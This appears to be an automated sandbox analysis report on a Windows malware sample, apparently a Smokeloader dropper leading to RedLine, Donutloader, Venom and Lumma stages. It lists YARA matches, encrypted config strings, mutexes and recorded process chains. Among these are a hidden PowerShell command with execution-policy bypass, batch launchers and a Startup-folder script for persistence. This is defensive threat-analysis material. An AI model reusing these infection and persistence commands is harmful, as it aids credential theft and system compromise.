Source: FpiUD4nYpj.exe Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE
Yara signature match
Source: 18.2.vm.exe.29e0000.1.raw.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_WMI_EnumerateVideoDevice author = ditekSHen, description = Detects executables attemping to enumerate video devices using WMI
Source: 18.2.vm.exe.29e0000.1.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_WMI_EnumerateVideoDevice author = ditekSHen, description = Detects executables attemping to enumerate video devices using WMI
Source: 25.2.vm.exe.4e40000.1.raw.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_WMI_EnumerateVideoDevice author = ditekSHen, description = Detects executables attemping to enumerate video devices using WMI
Source: 25.2.vm.exe.4e40000.1.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_WMI_EnumerateVideoDevice author = ditekSHen, description = Detects executables attemping to enumerate video devices using WMI
Source: 00000003.00000002.1964638535.00000000040B1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 00000000.00000002.1731949971.00000000026F0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 00000003.00000002.1964481125.000000000258D000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000012.00000002.4106101148.0000000000060000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Donutloader_f40e3759 os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 6400b34f762cebb4f91a8d24c5fce647e069a971fb3ec923a63aa98c8cfffab7, id = f40e3759-2531-4e21-946a-fb55104814c0, last_modified = 2022-01-13
Source: 00000019.00000002.3260078878.0000000006010000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Donutloader_f40e3759 os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 6400b34f762cebb4f91a8d24c5fce647e069a971fb3ec923a63aa98c8cfffab7, id = f40e3759-2531-4e21-946a-fb55104814c0, last_modified = 2022-01-13
Source: 00000013.00000002.3185231236.0000000003860000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Donutloader_f40e3759 os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 6400b34f762cebb4f91a8d24c5fce647e069a971fb3ec923a63aa98c8cfffab7, id = f40e3759-2531-4e21-946a-fb55104814c0, last_modified = 2022-01-13
Source: 00000000.00000002.1732147386.00000000040B1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 00000012.00000002.4114154243.00000000029E0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY Matched rule: INDICATOR_SUSPICIOUS_EXE_WMI_EnumerateVideoDevice author = ditekSHen, description = Detects executables attemping to enumerate video devices using WMI
Source: 00000019.00000002.3248787304.0000000004E40000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY Matched rule: INDICATOR_SUSPICIOUS_EXE_WMI_EnumerateVideoDevice author = ditekSHen, description = Detects executables attemping to enumerate video devices using WMI
Source: 00000000.00000002.1731925508.00000000026E0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 00000013.00000002.3151962784.0000000000060000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Donutloader_f40e3759 os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 6400b34f762cebb4f91a8d24c5fce647e069a971fb3ec923a63aa98c8cfffab7, id = f40e3759-2531-4e21-946a-fb55104814c0, last_modified = 2022-01-13
Source: 00000003.00000002.1964603084.0000000004090000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 00000000.00000002.1732060091.000000000272D000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000003.00000002.1964408969.0000000002560000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 00000019.00000002.3139489097.00000000005C0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Donutloader_f40e3759 os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 6400b34f762cebb4f91a8d24c5fce647e069a971fb3ec923a63aa98c8cfffab7, id = f40e3759-2531-4e21-946a-fb55104814c0, last_modified = 2022-01-13
Source: FpiUD4nYpj.exe Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: jjistfr.1.dr Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: 18.2.vm.exe.29e0000.1.raw.unpack, Settings.cs Base64 encoded string: 'uv876R64GyPQROS6Pcq+tT2rujm6QhOA2jKz3+72iK0vssZ7tRu9W1NfcaQ5yk3K4leNInPIlyvrm/sWNe6YUSzW9MnjujJ8wA3fVO6kqY4=', 'tBbcnyqIuxWvE/Aa008Phm66l0gx08l3V72N0uezc1BvWV+aVFh/K2LjDSmziiX4d1we58iQkTKHp5hlA6J3ArDNNUTcH31I6D+8IIWmVEXPfFcr7grctRvtFWbh8/WW', 'vlrU2ttL4QCN9XP+miA1iO2Zi1Qo5KKeTfPUgLmvXsgl1b/ZXBNeN/RykY5FXUbGAFb/hcKmdGI2lxq9dyDNOg==', 'jajjt4fLdfeySHLjOUN+WU7vKFN/tv6flHwdN63QqNLvwdiPerPjqi8pJYhlDxutlcONhE6KmVeSyHLXzp1X0ivMLOia3ounzEFu+OufC35pSXOr0AgnutA9Hm2WMXLR5SrKu9Ep2d9bPbB7jBc3VXBVjkPHm+BjMjy64M6HAubGgc8bZ4x9RmkpsgBYOzwKBmFDp7rKGTxhnrnem674/IV8HtJhbUivlbelAfQbN92NlB/IZHSII0WCgZyWHfjXPeAh7ScQvm1glooPfQyjEFujB5EgoLg8/Q+UZ9OyLZY=', '/3HMGRMO5mfkdekqR4Zafv717iumQMzpVLF6A9pHRaBxVKyvDxb55/QnfojY3GM4MZFgEKqs9lZExa/oUaQFQQ==', 'l439UHfThXI7Tvv4tLPkRk4LgJxneAQ3SRt6rij4oIvNCNJh0dGkWYtmoBCaQASy+UxakX8pDIHBYYo6I0jgiA==', 'H36CdwWLE8twm6SaEVP4wCqEXttEdFNm1/TG0CIbxJ6QscVZsS9u+iDyyURaAEJfbnGnfKxPezH51YuRdKUEGw==', 'X+lWHHhlIbk/ipVH2n6hOx1tpa9s2D5Jo0CwgGIgu5WBtb6gmcLOKhvfywa/wW2BsaqNON/3eZUEUOX0Z6TMoQ=='
Source: 25.2.vm.exe.4e40000.1.raw.unpack, Settings.cs Base64 encoded string: 'uv876R64GyPQROS6Pcq+tT2rujm6QhOA2jKz3+72iK0vssZ7tRu9W1NfcaQ5yk3K4leNInPIlyvrm/sWNe6YUSzW9MnjujJ8wA3fVO6kqY4=', 'tBbcnyqIuxWvE/Aa008Phm66l0gx08l3V72N0uezc1BvWV+aVFh/K2LjDSmziiX4d1we58iQkTKHp5hlA6J3ArDNNUTcH31I6D+8IIWmVEXPfFcr7grctRvtFWbh8/WW', 'vlrU2ttL4QCN9XP+miA1iO2Zi1Qo5KKeTfPUgLmvXsgl1b/ZXBNeN/RykY5FXUbGAFb/hcKmdGI2lxq9dyDNOg==', 'jajjt4fLdfeySHLjOUN+WU7vKFN/tv6flHwdN63QqNLvwdiPerPjqi8pJYhlDxutlcONhE6KmVeSyHLXzp1X0ivMLOia3ounzEFu+OufC35pSXOr0AgnutA9Hm2WMXLR5SrKu9Ep2d9bPbB7jBc3VXBVjkPHm+BjMjy64M6HAubGgc8bZ4x9RmkpsgBYOzwKBmFDp7rKGTxhnrnem674/IV8HtJhbUivlbelAfQbN92NlB/IZHSII0WCgZyWHfjXPeAh7ScQvm1glooPfQyjEFujB5EgoLg8/Q+UZ9OyLZY=', '/3HMGRMO5mfkdekqR4Zafv717iumQMzpVLF6A9pHRaBxVKyvDxb55/QnfojY3GM4MZFgEKqs9lZExa/oUaQFQQ==', 'l439UHfThXI7Tvv4tLPkRk4LgJxneAQ3SRt6rij4oIvNCNJh0dGkWYtmoBCaQASy+UxakX8pDIHBYYo6I0jgiA==', 'H36CdwWLE8twm6SaEVP4wCqEXttEdFNm1/TG0CIbxJ6QscVZsS9u+iDyyURaAEJfbnGnfKxPezH51YuRdKUEGw==', 'X+lWHHhlIbk/ipVH2n6hOx1tpa9s2D5Jo0CwgGIgu5WBtb6gmcLOKhvfywa/wW2BsaqNON/3eZUEUOX0Z6TMoQ=='
Source: BD9E.exe.1.dr, PowerShellLoader.cs Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: BD9E.exe.1.dr, PowerShellLoader.cs Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 25.2.vm.exe.4e40000.1.raw.unpack, Methods.cs Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 25.2.vm.exe.4e40000.1.raw.unpack, Methods.cs Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 18.2.vm.exe.29e0000.1.raw.unpack, Methods.cs Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 18.2.vm.exe.29e0000.1.raw.unpack, Methods.cs Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: classification engine Classification label: mal100.troj.spyw.expl.evad.winEXE@40/44@11/16
Source: C:\Users\user\AppData\Local\Temp\2FBE.exe Code function: 6_2_00007FF7648DF5B0 LookupPrivilegeValueA,AdjustTokenPrivileges,OpenProcessToken, 6_2_00007FF7648DF5B0
Source: C:\Users\user\Desktop\FpiUD4nYpj.exe Code function: 0_2_027347BE CreateToolhelp32Snapshot,Module32First, 0_2_027347BE
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 13_2_00769C80 CoCreateInstance, 13_2_00769C80
Source: C:\Windows\explorer.exe File created: C:\Users\user\AppData\Roaming\jjistfr Jump to behavior
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3900:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Mutant created: NULL
Source: C:\Windows\SysWOW64\WerFault.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess5252
Source: C:\Users\user\AppData\Local\Temp\2FBE.exe Mutant created: \Sessions\1\BaseNamedObjects\8yUscnjrUY
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4452:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7048:120:WilError_03
Source: C:\Windows\SysWOW64\WerFault.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess4936
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1856:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Mutant created: \Sessions\1\BaseNamedObjects\aqswvfsywrpgi
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2488:120:WilError_03
Source: C:\Windows\explorer.exe File created: C:\Users\user\AppData\Local\Temp\2FBE.tmp Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\34CA.exe File opened: C:\Windows\system32\1b51e9287e07fe5f9c7303f41e266477448f11d4f68bf2229bd2ffc4a52c0333AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /c C:\Users\user\AppData\Local\Temp\ExtractedVenom\runvm.bat
Source: C:\Windows\explorer.exe Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MyStartupScript.vbs"
Source: FpiUD4nYpj.exe Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: C:\Windows\explorer.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM WIN32_Processor
Source: C:\Windows\explorer.exe File read: C:\Users\desktop.ini Jump to behavior
Source: C:\Users\user\Desktop\FpiUD4nYpj.exe Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: lm.exe, 00000013.00000003.2749271588.0000000003345000.00000004.00000800.00020000.00000000.sdmp, lm.exe, 00000013.00000003.2752517081.0000000003136000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: FpiUD4nYpj.exe Virustotal: Detection: 43%
Source: 34CA.exe String found in binary or memory: &github.com/filecoin-project/go-address
Source: 34CA.exe String found in binary or memory: net/addrselect.go
Source: 34CA.exe String found in binary or memory: github.com/saferwall/pe@v1.5.4/loadconfig.go
Source: 34CA.exe String found in binary or memory: seconds/cpu/classes/gc/total:cpu-seconds/gc/limiter/last-enabled:gc-cycle/memory/classes/heap/stacks:bytes/memory/classes/heap/unused:bytes/sched/pauses/stopping/gc:seconds/sched/pauses/total/other:secondsmin must be a non-zero power of 2runtime: failed mSpanL
Source: 34CA.exe String found in binary or memory: seconds/cpu/classes/gc/total:cpu-seconds/gc/limiter/last-enabled:gc-cycle/memory/classes/heap/stacks:bytes/memory/classes/heap/unused:bytes/sched/pauses/stopping/gc:seconds/sched/pauses/total/other:secondsmin must be a non-zero power of 2runtime: failed mSpanL
Source: 34CA.exe String found in binary or memory: .1h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c= depgithub.com/edsrzf/mmap-gov1.1.0h1:6EUwBLQ/Mcr1EYLE4Tn1VdW1A4ckqCQWZBw8Hr0kjpQ= depgithub.com/filecoin-project/go-addressv1.1.0h1:ofdtUtEsNxkIxkDw67ecSmvtzaVSdcea4boAmLbnHfE= depgithub.com/filecoin-pr
Source: 34CA.exe String found in binary or memory: eap) is larger than maximum page size (key size not a multiple of key alignruntime: invalid typeBitsBulkBarrieruncaching span but s.allocCount == 0/memory/classes/metadata/other:bytes/sched/pauses/stopping/other:secondsuser arena span is on the wrong listrunti
Source: 34CA.exe String found in binary or memory: eap) is larger than maximum page size (key size not a multiple of key alignruntime: invalid typeBitsBulkBarrieruncaching span but s.allocCount == 0/memory/classes/metadata/other:bytes/sched/pauses/stopping/other:secondsuser arena span is on the wrong listrunti
Source: 34CA.exe String found in binary or memory: 4z/Oni01D2Gm1Du/vo7/ADDErEP0DNhYaqvcF1p/cFSLGEgObC3rn8jqKTnzuNp4wHD4+XFMSIRNAIIzjOX/KZNc3PRk/O0O7ASRoZctsH2Bd1nJGgtmCymXVz7Rpdu4Nm50g77Trg6nTXIg1ur3ovBmkCw7pL+BrZx45wBgh/hLl9XRe424S9Lh2ZXPjbs4697O00XFV32GKA29/QTxEtCdWE4CQix59dE/Tc+MNcfWwyxJV1ePU1UKPn9EjTGGdTeh
Source: 34CA.exe String found in binary or memory: github.com/filecoin-project/go-address@v1.1.0/address.go
Source: 34CA.exe String found in binary or memory: github.com/filecoin-project/go-address@v1.1.0/address.go
Source: 34CA.exe String found in binary or memory: github.com/filecoin-project/go-address@v1.1.0/constants.go
Source: 34CA.exe String found in binary or memory: github.com/filecoin-project/go-address.newAddress
Source: 34CA.exe String found in binary or memory: github.com/filecoin-project/go-address.encode
Source: 34CA.exe String found in binary or memory: github.com/filecoin-project/go-address.Address.Protocol
Source: 34CA.exe String found in binary or memory: github.com/filecoin-project/go-address.Address.Payload
Source: 34CA.exe String found in binary or memory: github.com/filecoin-project/go-address.Checksum
Source: 34CA.exe String found in binary or memory: github.com/filecoin-project/go-address.base32decode
Source: 34CA.exe String found in binary or memory: github.com/filecoin-project/go-address.decode
Source: 34CA.exe String found in binary or memory: github.com/filecoin-project/go-address.ValidateChecksum
Source: 34CA.exe String found in binary or memory: github.com/filecoin-project/go-address.hash
Source: 34CA.exe String found in binary or memory: github.com/filecoin-project/go-address.Address.MarshalBinary
Source: 34CA.exe String found in binary or memory: github.com/filecoin-project/go-address.(*Address).UnmarshalBinary
Source: 34CA.exe String found in binary or memory: github.com/filecoin-project/go-address.init.1
Source: 34CA.exe String found in binary or memory: github.com/filecoin-project/go-address.(*Address).Bytes
Source: 34CA.exe String found in binary or memory: github.com/filecoin-project/go-address.(*Address).MarshalBinary
Source: 34CA.exe String found in binary or memory: github.com/filecoin-project/go-address.(*Address).MarshalJSON
Source: 34CA.exe String found in binary or memory: github.com/filecoin-project/go-address.(*Address).String
Source: 34CA.exe String found in binary or memory: github.com/filecoin-project/go-address.init
Source: 34CA.exe String found in binary or memory: github.com/filecoin-project/go-address.init.func1
Source: 34CA.exe String found in binary or memory: github.com/filecoin-project/go-address.Address.Bytes
Source: 34CA.exe String found in binary or memory: github.com/filecoin-project/go-address.init.func2
Source: 34CA.exe String found in binary or memory: github.com/filecoin-project/go-address.init.0
Source: 34CA.exe String found in binary or memory: github.com/filecoin-project/go-address.Address.String
Source: 34CA.exe String found in binary or memory: github.com/filecoin-project/go-address.(*Address).UnmarshalJSON
Source: 34CA.exe String found in binary or memory: github.com/filecoin-project/go-address.Address.MarshalJSON
Source: 34CA.exe String found in binary or memory: github.com/filecoin-project/go-address.NewIDAddress
Source: 34CA.exe String found in binary or memory: github.com/filecoin-project/go-address.NewSecp256k1Address
Source: 34CA.exe String found in binary or memory: github.com/filecoin-project/go-address.addressHash
Source: 34CA.exe String found in binary or memory: github.com/filecoin-project/go-address.NewActorAddress
Source: 34CA.exe String found in binary or memory: github.com/filecoin-project/go-address.NewBLSAddress
Source: 34CA.exe String found in binary or memory: github.com/filecoin-project/go-address.NewDelegatedAddress
Source: 34CA.exe String found in binary or memory: github.com/filecoin-project/go-address.NewFromBytes
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Evasive API call chain: GetCommandLine,DecisionNodes,ExitProcess
Source: unknown Process created: C:\Users\user\Desktop\FpiUD4nYpj.exe "C:\Users\user\Desktop\FpiUD4nYpj.exe"
Source: unknown Process created: C:\Users\user\AppData\Roaming\jjistfr C:\Users\user\AppData\Roaming\jjistfr
Source: C:\Windows\explorer.exe Process created: C:\Users\user\AppData\Local\Temp\2FBE.exe C:\Users\user\AppData\Local\Temp\2FBE.exe
Source: C:\Users\user\AppData\Local\Temp\2FBE.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\explorer.exe Process created: C:\Users\user\AppData\Local\Temp\34CA.exe C:\Users\user\AppData\Local\Temp\34CA.exe
Source: C:\Windows\explorer.exe Process created: C:\Users\user\AppData\Local\Temp\BD9E.exe C:\Users\user\AppData\Local\Temp\BD9E.exe
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Process created: C:\Users\user\AppData\Local\Temp\BD9E.exe "C:\Users\user\AppData\Local\Temp\BD9E.exe" -HOSTRUNAS
Source: C:\Users\user\AppData\Local\Temp\34CA.exe Process created: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -File "C:\Users\user\AppData\Local\Temp\rentry-script.ps1"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /c C:\Users\user\AppData\Local\Temp\ExtractedVenom\runvm.bat
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /c C:\Users\user\AppData\Local\Temp\ExtractedLumma\run.bat
Source: C:\Windows\System32\cmd.exe Process created: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe "vm.exe"
Source: C:\Windows\System32\cmd.exe Process created: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe "lm.exe"
Source: C:\Windows\explorer.exe Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MyStartupScript.vbs"
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\ExtractedVenom\runvm.bat" "
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe Process created: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe "vm.exe"
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 5252 -s 1128
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 4936 -s 1848
Source: C:\Windows\explorer.exe Process created: C:\Users\user\AppData\Local\Temp\2FBE.exe "C:\Users\user\AppData\Local\Temp\2FBE.exe"
Source: C:\Users\user\AppData\Local\Temp\2FBE.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\explorer.exe Process created: C:\Users\user\AppData\Local\Temp\2FBE.exe "C:\Users\user\AppData\Local\Temp\2FBE.exe"
Source: C:\Users\user\AppData\Local\Temp\2FBE.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\explorer.exe Process created: C:\Users\user\AppData\Local\Temp\2FBE.exe C:\Users\user\AppData\Local\Temp\2FBE.exe Jump to behavior
Source: C:\Windows\explorer.exe Process created: C:\Users\user\AppData\Local\Temp\34CA.exe C:\Users\user\AppData\Local\Temp\34CA.exe Jump to behavior
Source: C:\Windows\explorer.exe Process created: C:\Users\user\AppData\Local\Temp\BD9E.exe C:\Users\user\AppData\Local\Temp\BD9E.exe Jump to behavior
Source: C:\Windows\explorer.exe Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MyStartupScript.vbs" Jump to behavior
Source: C:\Windows\explorer.exe Process created: C:\Users\user\AppData\Local\Temp\2FBE.exe "C:\Users\user\AppData\Local\Temp\2FBE.exe" Jump to behavior
Source: C:\Windows\explorer.exe Process created: C:\Users\user\AppData\Local\Temp\2FBE.exe "C:\Users\user\AppData\Local\Temp\2FBE.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\34CA.exe Process created: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Process created: C:\Users\user\AppData\Local\Temp\BD9E.exe "C:\Users\user\AppData\Local\Temp\BD9E.exe" -HOSTRUNAS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -File "C:\Users\user\AppData\Local\Temp\rentry-script.ps1" Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /c C:\Users\user\AppData\Local\Temp\ExtractedVenom\runvm.bat
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /c C:\Users\user\AppData\Local\Temp\ExtractedLumma\run.bat
Source: C:\Windows\System32\cmd.exe Process created: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe "vm.exe"
